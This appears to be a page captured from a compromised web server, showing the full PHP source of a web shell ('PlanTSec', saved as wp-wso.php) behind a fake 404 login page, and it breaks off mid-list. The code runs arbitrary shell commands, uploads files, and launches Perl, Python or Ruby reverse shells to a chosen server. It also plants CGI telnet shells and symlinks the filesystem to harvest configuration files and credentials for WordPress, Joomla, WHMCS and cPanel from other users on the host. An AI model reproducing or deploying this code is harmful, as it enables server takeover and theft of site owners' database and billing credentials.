@Ghazascanner
_2019runbot
Ghazascanner File Manager
server :Linux phosweb007 3.10.0-1160.el7.x86_64 #1 SMP Mon Oct 19 16:18:59 UTC 2020 x86_64
Current Path :
/
homepage
/
game
/
Path :
Upload File :
New :
File
Dir
//homepage/game/wp-wso.php
<?php ?> <HTML> <HEAD> <TITLE>Not Found</TITLE> </HEAD> <BODY> <h2>Not Found</h2> <hr><p>HTTP Error 404. The requested resource is not found.</p> <form align="center" method="POST"> <p>Login :<input type="password" name="pass"></p> </form> </BODY> </HTML> <?php ?> <html> <head> <title>PlanTSec</title> <meta charset="UTF-8"> <style type="text/css"> @import url(https://fonts.googleapis.com/css?family=Gugi); body{ background: #707B7C; color: #5DADE2; font-family: 'Gugi'; font-size: 14px; overflow-x: hidden; } #nav{ position:fixed; /*z-index:999;*/ top:0; width:auto; left:66%; } a.nav-fokus { display:block; width:auto; height:auto; background:#191919; border-top: 0px; border-left: 1px solid #b3eeff; border-right: 1px solid #b3eeff; border-bottom: 1px solid #b3eeff; padding:5px 8px; text-align:center; text-decoration:none; color: #b3eeff; line-height:20px; overflow:hidden; float:left; } a.nav-fokus:hover { color:#FFFFFF; background:#191919; border-top: 0px; border-left: 1px solid #fff; border-right:1px solid #fff; border-bottom:1px solid #fff; } textarea{ margin: auto; width: 100%; height: 200px; transition: .3s; background: transparent; } a { color: #5DADE2; text-decoration: none; } a:hover { color: #5DADE2; text-decoration: underline; } table{ background: transparent; font-size: 14px; font-family: 'Gugi'; width: 100%; } .th_class{ background: #000; } .td_class{ background: #000; } tr,td,th{ padding: 10px; margin: auto; border: 1px solid #000; font-size: 14px; height: 15px; line-height: 1px; } table td:hover{ cursor:pointer; background-color: #566573; } .toed{ background-image: url(http://plantsec.me/plantsec2.png); background-image: linear-gradient(to bottom, rgba(0,0,0,0.6) 0%,rgba(0,0,0,0.6) 100%), url(http://plantsec.me/plantsec2.png); background-repeat: no-repeat; background-size: 100% 200px; height: 200px; font-family: 'Gugi'; font-size: 14px; color: #F1C40F; /*width: 100%;*/ margin-top: 50px auto; border: 1px solid #000; transition: 1s; } select{ background: transparent; color: #000; border: 1px solid #000; margin: 5px auto; padding-left: 5px; height: 22px; font-family: 'Gugi'; font-size: 14px; } input[type=text], input[type=submit]{ background: transparent; color: #000; border: 1px solid #000; margin: 5px auto; padding-left: 5px; font-family: 'Gugi'; font-size: 14px; } textarea{ margin: auto; width: 100%; height: 400px; font-family: 'Gugi'; font-size: 14px; transition: .3s; background: transparent; } </style> </head> <body> <?php function getStr($string, $start, $end){ $str = explode($start, $string); $str = explode($end, $str[1]); return $str[0]; } function execute($cmd){ if(is_callable('system')) { @ob_start(); @system($cmd); $ntod = @ob_get_contents(); @ob_end_clean(); return $ntod; } elseif(is_callable('exec')){ @exec($cmd, $rest); foreach($rest as $result){ $ntod .= $result; } return $ntod; } elseif(is_callable('passthru')){ @ob_start(); @passthru($cmd); $ntod = @ob_get_contents(); @ob_end_clean(); return $ntod; } elseif(is_callable('shell_exec')){ $ntod = shell_exec($cmd); return $ntod; } elseif(is_callable('proc_open')){ $ntod = array( 0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w") ); $ntodProc = @proc_open($cmd, $ntod, $pipe, getcwd(), array()); if(is_resource($ntodProc)){ while($ntodS = fgets($pipe[1])){ if(!empty($ntodS)){ $ntoy .= $ntodS; } } while($ntodY = fgets($pipe[2])){ if(!empty($ntodY)){ $ntoy .= $ntodY; } } } @proc_close($ntodProc); if(!empty($ntoy)){ return $ntoy; } } elseif(is_callable('popen')){ $ntod = @popen($cmd, 'r'); if($ntod){ while(!feof($ntod)){ $ntoy .= fread($ntod, 2096); } pclose($ntod); } if(!empty($ntoy)){ return $ntoy; } } } function writAble($dir, $perm){ if(!is_writable($dir)){ return "<font color=\"#C0392B\">".$perm."</font>"; } else{ return "<font color=\"#1D8348\">".$perm."</font>"; } } function readAble($dir, $perm){ if(!is_readable($dir)){ return "<font color=\"#C0392B\">".$perm."</font>"; } else{ return "<font color=\"#1D8348\">".$perm."</font>"; } } function getBwah($url, $type){ $urlArr = array(); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $result = curl_exec($ch); preg_match_all("|<a.*?href=\"(.*?)\"|", $result, $rw); $lk = $rw[1]; foreach($lk as $lnk){ array_push($urlArr, $lnk); } curl_close($ch); foreach($urlArr as $val){ $mes = "$url$val"; if(preg_match("#$type#is", $mes)){ echo $mes."\r\n"; } } } function cookieRequest($url){ $options = array( CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_USERAGENT => "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0", CURLOPT_CONNECTTIMEOUT => 5, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_COOKIEJAR => "cookie.txt", CURLOPT_COOKIEFILE => "cookie.txt", CURLOPT_COOKIESESSION => true ); $ch = curl_init($url); curl_setopt_array($ch, $options); $data = curl_exec($ch); return $data; } function makeRequest($url, $post = null, $head = null){ $options = array( CURLOPT_URL => $url, CURLOPT_CONNECTTIMEOUT => 15, CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_MAXREDIRS => 10 ); $ch = curl_init(); curl_setopt_array($ch, $options); if($post && !empty($post)){ curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $post); } if($head && !empty($head)){ curl_setopt($ch, CURLOPT_HTTPHEADER, $head); } $outputs = curl_exec($ch); curl_close($ch); return($outputs); } function perms($file){ $perms = fileperms($file); if (($perms & 0xC000) == 0xC000) { // Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { // Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { // Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { // Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { // Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { // Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { // FIFO pipe $info = 'p'; } else { // Unknown $info = 'u'; } // Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); // Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); // World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } function hdd($s) { if($s >= 1073741824) return sprintf('%1.2f',$s / 1073741824 ).' GB'; elseif($s >= 1048576) return sprintf('%1.2f',$s / 1048576 ) .' MB'; elseif($s >= 1024) return sprintf('%1.2f',$s / 1024 ) .' KB'; else return $s .' B'; } if(isset($_GET['dir'])) { $dir = $_GET['dir']; chdir($dir); } else { $dir = getcwd(); } if(!function_exists('posix_getegid')) { $user = @get_current_user(); $uid = @getmyuid(); $gid = @getmygid(); $group = "?"; } else { $uid = @posix_getpwuid(posix_geteuid()); $gid = @posix_getgrgid(posix_getegid()); $user = $uid['name']; $uid = $uid['uid']; $group = $gid['name']; $gid = $gid['gid']; } $mpss = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir); $freespace = hdd(disk_free_space("/")); $total = hdd(disk_total_space("/")); $used = $total - $freespace; $ip = gethostbyname($_SERVER['HTTP_HOST']); $safe = (@ini_get(strtolower("safe_mode")) == 'on') ? "<font color=\"#C0392B\">ON</font>" : "<font color=\"#1D8348\">OFF</font>"; $mysql = (is_callable("mysql_connect")) ? "<font color=\"#1D8348\">ON</font>" : "<font color=\"#C0392B\">OFF</font>"; $curl = (is_callable("curl_version")) ? "<font color=\"#1D8348\">ON</font>" : "<font color=\"#C0392B\">OFF</font>"; $wget = (execute('wget --help')) ? "<font color=\"#1D8348\">ON</font>" : "<font color=\"#C0392B\">OFF</font>"; $perl = (execute('perl --help')) ? "<font color=\"#1D8348\">ON</font>" : "<font color=\"#C0392B\">OFF</font>"; $python = (execute('python --help')) ? "<font color=\"#1D8348\">ON</font>" : "<font color=\"#C0392B\">OFF</font>"; $ruby = (execute('ruby --help')) ? "<font color=\"#1D8348\">ON</font>" : "<font color=\"#C0392B\">OFF</font>"; $gcc = (execute('gcc --help')) ? "<font color=\"#1D8348\">ON</font>" : "<font color=\"#C0392B\">OFF</font>"; $dis = @ini_get("disable_functions"); $dfunc = (!empty($dis)) ? "<br><font color=\"#C0392B\">$dis</font>" : "<font color=\"#1D8348\">OFF</font>"; $dir = str_replace("\\","/",$dir); $scdir = explode("/", $dir); $namedc = (is_readable("/etc/named.conf")) ? "<font color=\"#1D8348\">OK</font>" : "<font color=\"#C0392B\">BAD</font>"; $etcPass = (is_readable("/etc/passwd")) ? "<font color=\"#1D8348\">OK</font>" : "<font color=\"#C0392B\">BAD</font>"; $valiases = (is_readable("/etc/valiases")) ? "<font color=\"#1D8348\">OK</font>" : "<font color=\"#C0392B\">BAD</font>"; $varNamed = (is_readable("/var/named")) ? "<font color=\"#1D8348\">OK</font>" : "<font color=\"#C0392B\">BAD</font>"; echo "<div class=\"toed\">"; echo " <div id=\"nav\"> <a class=\"nav-fokus\" href=\"?\"><b>Home</b></a> <a class=\"nav-fokus\" href=\"?dir=$dir&ntod=upload\">Upload</a> <a class=\"nav-fokus\" href=\"?dir=$dir&ntod=cmd\">Command</a> <a class=\"nav-fokus\" href=\"?dir=$dir&ntod=backconnect\">Network</a> <a class=\"nav-fokus\" href=\"?dir=$dir&ntod=cgi_\">CGI</a> <a class=\"nav-fokus\" href=\"?dir=$dir&ntod=ngonpig\">Conf</a> <a class=\"nav-fokus\" href=\"?ntod=kill\">Kill</a> <a class=\"nav-fokus\" href=\"?logout=true\">Logout</a> </div>"; echo "System : <font color=\"#5DADE2\">".php_uname()."</font><br>"; echo "User : <font color=\"#5DADE2\">$user</font> ($uid) Group: <font color=\"#5DADE2\">$group</font> ($gid)<br>"; echo "IP : <font color=\"#5DADE2\">$ip</font> (Server) | <font color=\"#5DADE2\">".$_SERVER['REMOTE_ADDR']."</font> (You)<br>"; echo "HDD : <font color=\"#5DADE2\">$used</font> (USED) / <font color=\"#5DADE2\">$total</font> (TOTAL) / <font color=\"#5DADE2\">$freespace</font> (FREE)<br>"; echo "Safe : $safe<br>"; echo "MySql ($mysql) cURL ($curl) wGet ($wget) Perl ($perl) Python ($python) Ruby ($ruby) Gcc ($gcc)<br>"; echo "Named.Conf ($namedc) Passwd ($etcPass) Valiases ($valiases) Named ($varNamed)<br>"; echo "Is Cpanel ()"; echo "Disable Function : $dfunc<br>"; echo "DIR : <font color=\"#5DADE2\">"; foreach($scdir as $c_dir => $cdir){ echo "<a href=\"?dir=/"; for($i = 0; $i <= $c_dir; $i++){ echo $scdir[$i]; if($i != $sc_dir){ echo "/"; } } echo "\">$cdir</a>/</font>"; } echo "<br> <a href=\"?dir=$dir&ntod=adminer\">Adminer</a> | <a href=\"?dir=$dir&ntod=cpreset\">Cpanel Reset</a> | <a href=\"?dir=$dir&ntod=titleChange\">Wordpress Title Changer</a>"; echo "</div>"; $nTod = $_GET['ntod']; if($_GET['logout'] == true){ unset($_SESSION[md5($_SERVER['HTTP_HOST'])]); echo "<script>alert(\"Thanks for using my shell :D\");</script>"; } elseif($nTod == "upload"){ echo "<center><form method=\"POST\" enctype=\"multipart/form-data\"> <input type=\"file\" name=\"fils\"> <input type=\"submit\" name=\"upl\" value=\"Upload!\"> </form>"; if($_POST["upl"]){ if(@copy($_FILES["fils"]["tmp_name"], "$dir/".$_FILES["fils"]["name"]."")){ echo "<font color=\"#1D8348\">Success Upload</font> at <b>$dir/".$_FILES["fils"]["name"]."</b>"; } else{ echo "<font color=\"#C0392B\">Could not upload file</font>"; } } echo "</center>"; } elseif($nTod == "cmd"){ echo " <form method=\"POST\"> <input type=\"text\" name=\"cmd\" required> <input type=\"submit\" name=\"subm\" value=\"Exe\"> </form>"; if($_POST["subm"]){ $mahx = execute($_POST["cmd"]); if($mahx){ echo "<pre>$mahx</pre>"; } } } elseif($nTod == "kill"){ if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__))){ echo "<center><br><h2><b>Shell Removed</b><br>Good bye, Thanks for take my shell today :D<h2></center>"; } else{ echo "<center>Oppshi!!! I can't kill my self :|</center>"; } } elseif($nTod == "backconnect"){ echo " <br><center><form method=\"POST\"> <h1>Back-Connect</h1><br> Server: <input type=\"text\" name=\"server\" placaeholder=\"".$_SERVER['REMOTE_ADDR']."\"> Port <input type=\"text\" name=\"port\" placeholder=\"2234\"> <select name=\"ntodBc\"> <option value=\"perl\">PERL</option> <option value=\"python\">Python</option> <option value=\"ruby\">Ruby</option> </select> <input type=\"submit\" name=\"subm\" value=\"BC!!!\"><br/>"; if($_POST["subm"]){ if($_POST["ntodBc"] == "perl"){ $fp = fopen("bc.pl", "w"); if(fwrite($fp, base64_decode(PERL_BC))){ $res = execute("perl bc.pl ".$_POST["server"]." ".$_POST["port"]." 1>/dev/null 2>&1 &"); echo $res . "<pre>".execute("ps aux | grep bc.pl")."</pre>"; } else{ echo "I can't create a back connect file :|"; } fclose($fp); unlink("bc.pl"); } elseif($_POST["ntodBc"] == "python"){ $fp = fopen("bc.py", "w"); if(fwrite($fp, base64_decode(PYTHON_BC))){ $res = execute("perl bc.py ".$_POST["server"]." ".$_POST["port"]." 1>/dev/null 2>&1 &"); echo $res . "<pre>".execute("ps aux | grep bc.py")."</pre>"; } else{ echo "I can't create a back connect file :|"; } fclose($fp); unlink("bc.py"); } elseif($_POST["ntodBc"] == "ruby"){ $fp = fopen("bc.rb", "w"); if(fwrite($fp, base64_decode(RUBY_BC))){ $res = execute("perl bc.rb ".$_POST["server"]." ".$_POST["port"]." 1>/dev/null 2>&1 &"); echo $res . "<pre>".execute("ps aux | grep bc.rb")."</pre>"; } else{ echo "I can't create a back connect file :|"; } fclose($fp); unlink("bc.rb"); } } echo "</center>"; } elseif($nTod == "cgi_"){ echo "<br><br><center><b><h1>Cgi _ Telnet</h1><br><a href=\"?dir=$dir&ntod=cgi\">CGI</a> | <a href=\"?dir=$dir&ntod=cgi2\">CGI 2</a></b></center>"; } elseif($nTod == "cgi"){ @mkdir('con7ext_', 0755); @chdir('con7ext_'); $fp = fopen(".htaccess", "w"); $fpcgi = fopen("cgi.con7ext", "w"); fwrite($fp, HTACCESS); fwrite($fpcgi, base64_decode(CGI_1)); @chmod("cgi.con7ext", 0755); @chmod(".htaccess", 0755); echo "<br><center>--><a href=\"$mpss/con7ext_/cgi.con7ext\">Done Klik Here</a><--<br/><iframe src=\"$mpss/con7ext_/cgi.con7ext\" style=\"width: 100%; height: 500px\"></center>"; } elseif($nTod == "cgi2"){ @mkdir('con7ext_', 0755); @chdir('con7ext_'); $fp = fopen(".htaccess", "w"); $fpcgi = fopen("cgi2.con7ext", "w"); fwrite($fp, HTACCESS); fwrite($fpcgi, base64_decode(CGI_2)); @chmod("cgi2.con7ext", 0755); @chmod(".htaccess", 0755); echo "<br><center>--><a href=\"$mpss/con7ext_/cgi2.con7ext\">Done Klik Here</a><--<br/><iframe src=\"$mpss/con7ext_/cgi2.con7ext\" style=\"width: 100%; height: 500px\"></center>"; } elseif($nTod == "ngonpig"){ if(strtolower(substr(PHP_OS, 0, 3)) == "win"){ echo "<script>alert(\"Sorry, This function not working in windows server\");</script>"; exit; } if($_POST["subm"]){ if($_POST["conf"] == "vhosts"){ @mkdir("con7ext_conf/vhosts", 0777, true); @execute("ln -s / con7ext_conf/vhosts/root"); @file_put_contents("con7ext_conf/vhosts/.htaccess", SYM); $passwd = $_POST["pws"]; $passwd = explode("\n", $passwd); foreach($passwd as $ikuzo){ $nto = explode(":", $ikuzo); $user = $nto[5]; $mpsh = preg_replace('/\/var\/www\/vhosts\//', '', $user); if(preg_match('/vhosts/i', $user)){ execute("ln -s ".$user."/httpdocs/wp-config.php con7ext_symvhosts/".$mpsh."-Wordpress.txt"); execute("ln -s ".$user."/httpdocs/configuration.php con7ext_symvhosts/".$mpsh."-Joomla.txt"); execute("ln -s ".$user."/httpdocs/config/koneksi.php con7ext_symvhosts/".$mpsh."-Lokomedia.txt"); execute("ln -s ".$user."/httpdocs/forum/config.php con7ext_symvhosts/".$mpsh."-phpBB.txt"); execute("ln -s ".$user."/httpdocs/sites/default/settings.php con7ext_symvhosts/".$mpsh."-Drupal.txt"); execute("ln -s ".$user."/httpdocs/config/settings.inc.php con7ext_symvhosts/".$mpsh."-PrestaShop.txt"); execute("ln -s ".$user."/httpdocs/app/etc/local.xml con7ext_symvhosts/".$mpsh."-Magento.txt"); execute("ln -s ".$user."/httpdocs/admin/config.php con7ext_symvhosts/".$mpsh."-OpenCart.txt"); execute("ln -s ".$user."/httpdocs/application/config/database.php con7ext_symvhosts/".$mpsh."-Ellislab.txt"); } } echo "<center><a href=\"con7ext_conf/vhosts\" target=\"_blank\">Vhosts</a></center>"; } elseif($_POST["conf"] == "sym"){ @mkdir("con7ext_conf/sym", 0755, true); @symlink("/", "con7ext_conf/sym/root"); @file_put_contents("con7ext_conf/sym/.htaccess", SYM); echo "<center><a href=\"con7ext_conf/sym\" target=\"_blank\">SymConf</a></center>"; } elseif($_POST["conf"] == "404"){ @mkdir("con7ext_conf/404", 0755, true); @symlink("/", "con7ext_conf/404/root"); @file_put_contents("con7ext_conf/404/.htaccess", 404); echo "<center><a href=\"con7ext_conf/404\" target=\"_blank\">404</a></center>"; } elseif($_POST["conf"] == "grab"){ @mkdir("con7ext_conf/grab", 0755, true); $fp = @fopen("con7ext_conf/grab/.htaccess", "w"); fwrite($fp, GREB); echo "<center><a href=\"con7ext_conf/grab\" target=\"_blank\">Grabber</a></center>"; } $passwd = $_POST["pws"]; preg_match_all('/(.*?):x:/', $passwd, $conf); foreach($conf[1] as $meh){ $mah = array( "/home/$meh/.accesshash" => "WHM-accesshash", "/home/$meh/public_html/config/koneksi.php" => "Lokomedia", "/home/$meh/public_html/forum/config.php" => "phpBB", "/home/$meh/public_html/sites/default/settings.php" => "Drupal", "/home/$meh/public_html/config/settings.inc.php" => "PrestaShop", "/home/$meh/public_html/app/etc/local.xml" => "Magento", "/home/$meh/public_html/admin/config.php" => "OpenCart", "/home/$meh/public_html/application/config/database.php" => "Ellislab", "/home/$meh/public_html/vb/includes/config.php" => "Vbulletin", "/home/$meh/public_html/includes/config.php" => "Vbulletin", "/home/$meh/public_html/forum/includes/config.php" => "Vbulletin", "/home/$meh/public_html/forums/includes/config.php" => "Vbulletin", "/home/$meh/public_html/cc/includes/config.php" => "Vbulletin", "/home/$meh/public_html/inc/config.php" => "MyBB", "/home/$meh/public_html/includes/configure.php" => "OsCommerce", "/home/$meh/public_html/shop/includes/configure.php" => "OsCommerce", "/home/$meh/public_html/os/includes/configure.php" => "OsCommerce", "/home/$meh/public_html/oscom/includes/configure.php" => "OsCommerce", "/home/$meh/public_html/products/includes/configure.php" => "OsCommerce", "/home/$meh/public_html/cart/includes/configure.php" => "OsCommerce", "/home/$meh/public_html/inc/conf_global.php" => "IPB", "/home/$meh/public_html/wp-config.php" => "Wordpress", "/home/$meh/public_html/wp/test/wp-config.php" => "Wordpress", "/home/$meh/public_html/blog/wp-config.php" => "Wordpress", "/home/$meh/public_html/beta/wp-config.php" => "Wordpress", "/home/$meh/public_html/portal/wp-config.php" => "Wordpress", "/home/$meh/public_html/site/wp-config.php" => "Wordpress", "/home/$meh/public_html/wp/wp-config.php" => "Wordpress", "/home/$meh/public_html/WP/wp-config.php" => "Wordpress", "/home/$meh/public_html/news/wp-config.php" => "Wordpress", "/home/$meh/public_html/wordpress/wp-config.php" => "Wordpress", "/home/$meh/public_html/test/wp-config.php" => "Wordpress", "/home/$meh/public_html/demo/wp-config.php" => "Wordpress", "/home/$meh/public_html/home/wp-config.php" => "Wordpress", "/home/$meh/public_html/v1/wp-config.php" => "Wordpress", "/home/$meh/public_html/v2/wp-config.php" => "Wordpress", "/home/$meh/public_html/press/wp-config.php" => "Wordpress", "/home/$meh/public_html/new/wp-config.php" => "Wordpress", "/home/$meh/public_html/blogs/wp-config.php" => "Wordpress", "/home/$meh/public_html/configuration.php" => "Joomla", "/home/$meh/public_html/blog/configuration.php" => "Joomla", "/home/$meh/public_html/submitticket.php" => "^WHMCS", "/home/$meh/public_html/cms/configuration.php" => "Joomla", "/home/$meh/public_html/beta/configuration.php" => "Joomla", "/home/$meh/public_html/portal/configuration.php" => "Joomla", "/home/$meh/public_html/site/configuration.php" => "Joomla", "/home/$meh/public_html/main/configuration.php" => "Joomla", "/home/$meh/public_html/home/configuration.php" => "Joomla", "/home/$meh/public_html/demo/configuration.php" => "Joomla", "/home/$meh/public_html/test/configuration.php" => "Joomla", "/home/$meh/public_html/v1/configuration.php" => "Joomla", "/home/$meh/public_html/v2/configuration.php" => "Joomla", "/home/$meh/public_html/joomla/configuration.php" => "Joomla", "/home/$meh/public_html/new/configuration.php" => "Joomla", "/home/$meh/public_html/WHMCS/submitticket.php" => "WHMCS", "/home/$meh/public_html/whmcs1/submitticket.php" => "WHMCS", "/home/$meh/public_html/Whmcs/submitticket.php" => "WHMCS", "/home/$meh/public_html/whmcs/submitticket.php" => "WHMCS", "/home/$meh/public_html/whmcs/submitticket.php" => "WHMCS", "/home/$meh/public_html/WHMC/submitticket.php" => "WHMCS", "/home/$meh/public_html/Whmc/submitticket.php" => "WHMCS", "/home/$meh/public_html/whmc/submitticket.php" => "WHMCS", "/home/$meh/public_html/WHM/submitticket.php" => "WHMCS", "/home/$meh/public_html/Whm/submitticket.php" => "WHMCS", "/home/$meh/public_html/whm/submitticket.php" => "WHMCS", "/home/$meh/public_html/HOST/submitticket.php" => "WHMCS", "/home/$meh/public_html/Host/submitticket.php" => "WHMCS", "/home/$meh/public_html/host/submitticket.php" => "WHMCS", "/home/$meh/public_html/SUPPORTES/submitticket.php" => "WHMCS", "/home/$meh/public_html/Supportes/submitticket.php" => "WHMCS", "/home/$meh/public_html/supportes/submitticket.php" => "WHMCS", "/home/$meh/public_html/domains/submitticket.php" => "WHMCS", "/home/$meh/public_html/domain/submitticket.php" => "WHMCS", "/home/$meh/public_html/Hosting/submitticket.php" => "WHMCS", "/home/$meh/public_html/HOSTING/submitticket.php" => "WHMCS", "/home/$meh/public_html/hosting/submitticket.php" => "WHMCS", "/home/$meh/public_html/CART/submitticket.php" => "WHMCS", "/home/$meh/public_html/Cart/submitticket.php" => "WHMCS", "/home/$meh/public_html/cart/submitticket.php" => "WHMCS", "/home/$meh/public_html/ORDER/submitticket.php" => "WHMCS", "/home/$meh/public_html/Order/submitticket.php" => "WHMCS", "/home/$meh/public_html/order/submitticket.php" => "WHMCS", "/home/$meh/public_html/CLIENT/submitticket.php" => "WHMCS", "/home/$meh/public_html/Client/submitticket.php" => "WHMCS", "/home/$meh/public_html/client/submitticket.php" => "WHMCS", "/home/$meh/public_html/CLIENTAREA/submitticket.php" => "WHMCS", "/home/$meh/public_html/Clientarea/submitticket.php" => "WHMCS", "/home/$meh/public_html/clientarea/submitticket.php" => "WHMCS", "/home/$meh/public_html/SUPPORT/submitticket.php" => "WHMCS", "/home/$meh/public_html/Support/submitticket.php" => "WHMCS", "/home/$meh/public_html/support/submitticket.php" => "WHMCS", "/home/$meh/public_html/BILLING/submitticket.php" => "WHMCS", "/home/$meh/public_html/Billing/submitticket.php" => "WHMCS", "/home/$meh/public_html/billing/submitticket.php" => "WHMCS", "/home/$meh/public_html/BUY/submitticket.php" => "WHMCS", "/home/$meh/public_html/Buy/submitticket.php" => "WHMCS", "/home/$meh/public_html/buy/submitticket.php" => "WHMCS", "/home/$meh/public_html/MANAGE/submitticket.php" => "WHMCS", "/home/$meh/public_html/Manage/submitticket.php" => "WHMCS", "/home/$meh/public_html/manage/submitticket.php" => "WHMCS", "/home/$meh/public_html/CLIENTSUPPORT/submitticket.php" => "WHMCS", "/home/$meh/public_html/ClientSupport/submitticket.php" => "WHMCS", "/home/$meh/public_html/Clientsupport/submitticket.php" => "WHMCS", "/home/$meh/public_html/clientsupport/submitticket.php" => "WHMCS", "/home/$meh/public_html/CHECKOUT/submitticket.php" => "WHMCS", "/home/$meh/public_html/Checkout/submitticket.php" => "WHMCS", "/home/$meh/public_html/checkout/submitticket.php" => "WHMCS", "/home/$meh/public_html/BILLINGS/submitticket.php" => "WHMCS", "/home/$meh/public_html/Billings/submitticket.php" => "WHMCS", "/home/$meh/public_html/billings/submitticket.php" => "WHMCS", "/home/$meh/public_html/BASKET/submitticket.php" => "WHMCS", "/home/$meh/public_html/Basket/submitticket.php" => "WHMCS", "/home/$meh/public_html/basket/submitticket.php" => "WHMCS", "/home/$meh/public_html/SECURE/submitticket.php" => "WHMCS", "/home/$meh/public_html/Secure/submitticket.php" => "WHMCS", "/home/$meh/public_html/secure/submitticket.php" => "WHMCS", "/home/$meh/public_html/SALES/submitticket.php" => "WHMCS", "/home/$meh/public_html/Sales/submitticket.php" => "WHMCS", "/home/$meh/public_html/sales/submitticket.php" => "WHMCS", "/home/$meh/public_html/BILL/submitticket.php" => "WHMCS", "/home/$meh/public_html/Bill/submitticket.php" => "WHMCS", "/home/$meh/public_html/bill/submitticket.php" => "WHMCS", "/home/$meh/public_html/PURCHASE/submitticket.php" => "WHMCS", "/home/$meh/public_html/Purchase/submitticket.php" => "WHMCS", "/home/$meh/public_html/purchase/submitticket.php" => "WHMCS", "/home/$meh/public_html/ACCOUNT/submitticket.php" => "WHMCS", "/home/$meh/public_html/Account/submitticket.php" => "WHMCS", "/home/$meh/public_html/account/submitticket.php" => "WHMCS", "/home/$meh/public_html/USER/submitticket.php" => "WHMCS", "/home/$meh/public_html/User/submitticket.php" => "WHMCS", "/home/$meh/public_html/user/submitticket.php" => "WHMCS", "/home/$meh/public_html/CLIENTS/submitticket.php" => "WHMCS", "/home/$meh/public_html/Clients/submitticket.php" => "WHMCS", "/home/$meh/public_html/clients/submitticket.php" => "WHMCS", "/home/$meh/public_html/BILLINGS/submitticket.php" => "WHMCS", "/home/$meh/public_html/Billings/submitticket.php" => "WHMCS", "/home/$meh/public_html/billings/submitticket.php" => "WHMCS", "/home/$meh/public_html/MY/submitticket.php" => "WHMCS", "/home/$meh/public_html/My/submitticket.php" => "WHMCS", "/home/$meh/public_html/my/submitticket.php" => "WHMCS", "/home/$meh/public_html/secure/whm/submitticket.php" => "WHMCS", "/home/$meh/public_html/secure/whmcs/submitticket.php" => "WHMCS", "/home/$meh/public_html/panel/submitticket.php" => "WHMCS", "/home/$meh/public_html/clientes/submitticket.php" => "WHMCS", "/home/$meh/public_html/cliente/submitticket.php" => "WHMCS", "/home/$meh/public_html/support/order/submitticket.php" => "WHMCS", "/home/$meh/public_html/bb-config.php" => "BoxBilling", "/home/$meh/public_html/boxbilling/bb-config.php" => "BoxBilling", "/home/$meh/public_html/box/bb-config.php" => "BoxBilling", "/home/$meh/public_html/host/bb-config.php" => "BoxBilling", "/home/$meh/public_html/Host/bb-config.php" => "BoxBilling", "/home/$meh/public_html/supportes/bb-config.php" => "BoxBilling", "/home/$meh/public_html/support/bb-config.php" => "BoxBilling", "/home/$meh/public_html/hosting/bb-config.php" => "BoxBilling", "/home/$meh/public_html/cart/bb-config.php" => "BoxBilling", "/home/$meh/public_html/order/bb-config.php" => "BoxBilling", "/home/$meh/public_html/client/bb-config.php" => "BoxBilling", "/home/$meh/public_html/clients/bb-config.php" => "BoxBilling", "/home/$meh/public_html/cliente/bb-config.php" => "BoxBilling", "/home/$meh/public_html/clientes/bb-config.php" => "BoxBilling", "/home/$meh/public_html/billing/bb-config.php" => "BoxBilling", "/home/$meh/public_html/billings/bb-config.php" => "BoxBilling", "/home/$meh/public_html/my/bb-config.php" => "BoxBilling", "/home/$meh/public_html/secure/bb-config.php" => "BoxBilling", "/home/$meh/public_html/support/order/bb-config.php" => "BoxBilling", "/home/$meh/public_html/includes/dist-configure.php" => "Zencart", "/home/$meh/public_html/zencart/includes/dist-configure.php" => "Zencart", "/home/$meh/public_html/products/includes/dist-configure.php" => "Zencart", "/home/$meh/public_html/cart/includes/dist-configure.php" => "Zencart", "/home/$meh/public_html/shop/includes/dist-configure.php" => "Zencart", "/home/$meh/public_html/includes/iso4217.php" => "Hostbills", "/home/$meh/public_html/hostbills/includes/iso4217.php" => "Hostbills", "/home/$meh/public_html/host/includes/iso4217.php" => "Hostbills", "/home/$meh/public_html/Host/includes/iso4217.php" => "Hostbills", "/home/$meh/public_html/supportes/includes/iso4217.php" => "Hostbills", "/home/$meh/public_html/support/includes/iso4217.php" => "Hostbills", "/home/$meh/public_html/hosting/includes/iso4217.php" => "Hostbills", "/home/$meh/public_html/cart/includes/iso4217.php" => "Hostbills", "/home/$meh/public_html/order/includes/iso4217.php" => "Hostbills", "/home/$meh/public_html/client/includes/iso4217.php" => "Hostbills", "/home/$meh/public_html/clients/includes/iso4217.php" => "Hostbills", "/home/$meh/public_html/cliente/includes/iso4217.php" => "Hostbills", "/home/$meh/public_html/clientes/includes/iso4217.php" => "Hostbills", "/home/$meh/public_html/billing/includes/iso4217.php" => "Hostbills", "/home/$meh/public_html/billings/includes/iso4217.php" => "Hostbills", "/home/$meh/public_html/my/includes/iso4217.php" => 